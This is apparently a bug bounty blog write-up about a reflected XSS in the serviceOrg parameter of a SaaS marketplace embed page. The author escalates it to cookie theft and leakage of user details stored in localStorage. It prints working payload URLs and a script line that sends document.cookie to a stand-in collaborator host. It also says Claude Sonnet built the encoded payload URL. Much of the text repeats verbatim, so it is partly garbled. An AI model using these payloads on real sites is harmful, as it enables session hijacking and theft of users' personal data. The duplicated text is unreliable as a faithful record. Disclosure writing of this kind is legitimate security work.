How I Escalated a RXSS to PII Leak + ATO on a SaaS Platform
On a very good day, I was scrolling through external BBPs because I was getting tired of grinding the same platform programs on Yeswehack and similar sites. I came across this SaaS company's bug bounty program, they're based in India, and the scope was massive with tons of products and huge attack surface.
My first report was a simple open redirect; They closed it as N/A, which was whatever - it was my first submission on their program anyway. The next day I went back to the target for more recon.
While enumerating subdomains, I hit app.[redacted].com, and that led me straight to a reflected XSS on their Marketplace product.
The vulnerable URL looked like this -
https://marketplace.[redacted].com/app/embed/billing/telegram-for-zoho-billing?mode=true&serviceOrg=920557526%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&frameorigin=https://test.com
%20(1).png)
It's a reflected Cross-Site Scripting (XSS) in the serviceOrg parameter. The app wasn't sanitizing the input before dropping it into the page, so you could break out of the attribute and inject arbitrary JavaScript.
While analyzing the context of the execution, I noticed something interesting, if you remove or omit the ?mode=true parameter, the XSS doesn't fire. That one flag completely changes how the page renders the content. With it present, the input gets reflected in a way that allows breakout.How I built the payloadI copied the raw JavaScript snippet I wanted to use and pasted it into Claude Sonnet. I asked it to construct the full encoded URL for the embed endpoint. Honestly, I didn't expect it to work on the first try, but it did. The model gave me a clean, properly encoded URL that triggered the XSS immediately. Escalating it to real impactI didn't stop at alert(). I wanted to show actual exploitation. I switched the payload to exfiltrate data
"><script>fetch("https://your-burpcollab.com/?c="+document.cookie)</script>
The request hit my external server carrying session-related cookies.PII Exfiltration While playing around after the initial XSS, I poked at the page's storage and saw that the application stores user details in localStorage under the key userdetails ( email address, full name, company info ).
Because this is effectively a DOM-based reflected XSS (the payload executes in the context of the page), an attacker can easily read localStorage and ship everything off to their server.
Here's the PoC I used for that escalation -
https://marketplace.[redacted].com/app/embed/billing/telegram-for-zoho-billing?mode=true&serviceOrg=920557526%22%3E%3Cimg%20src=x%20onerror=%22alert(localStorage.getItem(%27userdetails%27))%22%3E
%20(1).png)
While enumerating subdomains, I hit app.[redacted].com, and that led me straight to a reflected XSS on their Marketplace product.
The vulnerable URL looked like this -
https://marketplace.[redacted].com/app/embed/billing/telegram-for-zoho-billing?mode=true&serviceOrg=920557526%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&frameorigin=https://test.com
%20(1).png)
It's a reflected Cross-Site Scripting (XSS) in the serviceOrg parameter. The app wasn't sanitizing the input before dropping it into the page, so you could break out of the attribute and inject arbitrary JavaScript.
While analyzing the context of the execution, I noticed something interesting, if you remove or omit the ?mode=true parameter, the XSS doesn't fire. That one flag completely changes how the page renders the content. With it present, the input gets reflected in a way that allows breakout.How I built the payloadI copied the raw JavaScript snippet I wanted to use and pasted it into Claude Sonnet. I asked it to construct the full encoded URL for the embed endpoint. Honestly, I didn't expect it to work on the first try, but it did. The model gave me a clean, properly encoded URL that triggered the XSS immediately. Escalating it to real impactI didn't stop at alert(). I wanted to show actual exploitation. I switched the payload to exfiltrate data
"><script>fetch("https://your-burpcollab.com/?c="+document.cookie)</script>
The request hit my external server carrying session-related cookies.PII Exfiltration While playing around after the initial XSS, I poked at the page's storage and saw that the application stores user details in localStorage under the key userdetails ( email address, full name, company info ).
Because this is effectively a DOM-based reflected XSS (the payload executes in the context of the page), an attacker can easily read localStorage and ship everything off to their server.
Here's the PoC I used for that escalation -
https://marketplace.[redacted].com/app/embed/billing/telegram-for-zoho-billing?mode=true&serviceOrg=920557526%22%3E%3Cimg%20src=x%20onerror=%22alert(localStorage.getItem(%27userdetails%27))%22%3E
%20(1).png)
Comments
Post a Comment